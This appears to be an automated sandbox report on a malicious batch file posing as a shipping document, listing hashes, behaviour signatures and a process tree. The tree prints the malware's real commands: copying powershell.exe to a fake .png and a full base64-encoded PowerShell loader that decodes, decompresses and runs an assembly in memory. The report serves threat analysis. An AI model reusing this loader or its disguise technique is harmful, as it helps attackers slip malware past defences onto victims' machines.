Analysis
-
max time kernel
13s -
max time network
52s -
platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
11-10-2023 12:41
Static task
static1
Behavioral task
behavioral1
Sample
AW87438991 Shipping Document of goods.bat
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
AW87438991 Shipping Document of goods.bat
Resource
win10v2004-20230915-en
General
-
Target
AW87438991 Shipping Document of goods.bat
-
Size
865KB
-
MD5
722f1c5eef20be0cc0c13609a32fbcf0
-
SHA1
95ea04e0671acf23dfb0a8937feedb193d8c1db9
-
SHA256
c6cd9239769abc6280231e68ea19720889e64068fb5a347629755be0c6e735ae
-
SHA512
76545545417f959ad191e1d55194354d4e941008943062d6b48c42c6b2cbfd7669b747601423e6f6a0a59ad45959f569c8b8c7a3115404567b8bfcc402d4dafe
-
SSDEEP
24576:TmsLDIDisDkpyOiisSniF83PQmM4pPx8fkr:asiXDklDQ83PVRRr
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
Processes:
Mskestde.pngpid process 2164 Mskestde.png -
Loads dropped DLL 1 IoCs
Processes:
cmd.exepid process 2776 cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Mskestde.pngpid process 2164 Mskestde.png -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Mskestde.pngdescription pid process Token: SeDebugPrivilege 2164 Mskestde.png -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 2628 wrote to memory of 2776 2628 cmd.exe cmd.exe PID 2628 wrote to memory of 2776 2628 cmd.exe cmd.exe PID 2628 wrote to memory of 2776 2628 cmd.exe cmd.exe PID 2776 wrote to memory of 744 2776 cmd.exe cmd.exe PID 2776 wrote to memory of 744 2776 cmd.exe cmd.exe PID 2776 wrote to memory of 744 2776 cmd.exe cmd.exe PID 2776 wrote to memory of 2624 2776 cmd.exe xcopy.exe PID 2776 wrote to memory of 2624 2776 cmd.exe xcopy.exe PID 2776 wrote to memory of 2624 2776 cmd.exe xcopy.exe PID 2776 wrote to memory of 2688 2776 cmd.exe cmd.exe PID 2776 wrote to memory of 2688 2776 cmd.exe cmd.exe PID 2776 wrote to memory of 2688 2776 cmd.exe cmd.exe PID 2776 wrote to memory of 2984 2776 cmd.exe xcopy.exe PID 2776 wrote to memory of 2984 2776 cmd.exe xcopy.exe PID 2776 wrote to memory of 2984 2776 cmd.exe xcopy.exe PID 2776 wrote to memory of 2164 2776 cmd.exe Mskestde.png PID 2776 wrote to memory of 2164 2776 cmd.exe Mskestde.png PID 2776 wrote to memory of 2164 2776 cmd.exe Mskestde.png
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\AW87438991 Shipping Document of goods.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2628 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\AW87438991 Shipping Document of goods.bat"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "3⤵PID:744
-
C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Mskestde.png3⤵PID:2624
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "3⤵PID:2688
-
C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\AW87438991 Shipping Document of goods.bat" C:\Users\Admin\AppData\Local\Temp\Mskestde.png.bat3⤵PID:2984
-
C:\Users\Admin\AppData\Local\Temp\Mskestde.pngC:\Users\Admin\AppData\Local\Temp\Mskestde.png -win 1 -enc JABaAGMAZgBmAHAAaQB6AGUAawBzAG8AIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQAWABrAHQAeQBiACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAFoAYwBmAGYAcABpAHoAZQBrAHMAbwApADsAJABKAGQAbABvAHQAZQB4AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAFgAawB0AHkAYgAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABDAHIAYgBnAHcAbgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABKAGQAbABvAHQAZQB4AG0ALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAEMAcgBiAGcAdwBuAC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApADsAJABDAHIAYgBnAHcAbgAuAEMAbABvAHMAZQAoACkAOwAkAEoAZABsAG8AdABlAHgAbQAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAFgAawB0AHkAYgAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABYAGsAdAB5AGIAKQA7ACAAJABMAG0AaABtAGgAZQBwAHQAdgBqACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAFgAawB0AHkAYgApADsAIAAkAFMAbQBnAGUAZABxAGYAZQBvAHAAcgAgAD0AIAAkAEwAbQBoAG0AaABlAHAAdAB2AGoALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABXAHEAbABwAGkAZgB6ACAAPQAgACQAUwBtAGcAZQBkAHEAZgBlAG8AcAByAC4ARwBlAHQATQBlAHQAaABvAGQAcwAoACkAWwAwAF0ALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2164
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
462KB
MD5852d67a27e454bd389fa7f02a8cbe23f
SHA15330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
-
Filesize
462KB
MD5852d67a27e454bd389fa7f02a8cbe23f
SHA15330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d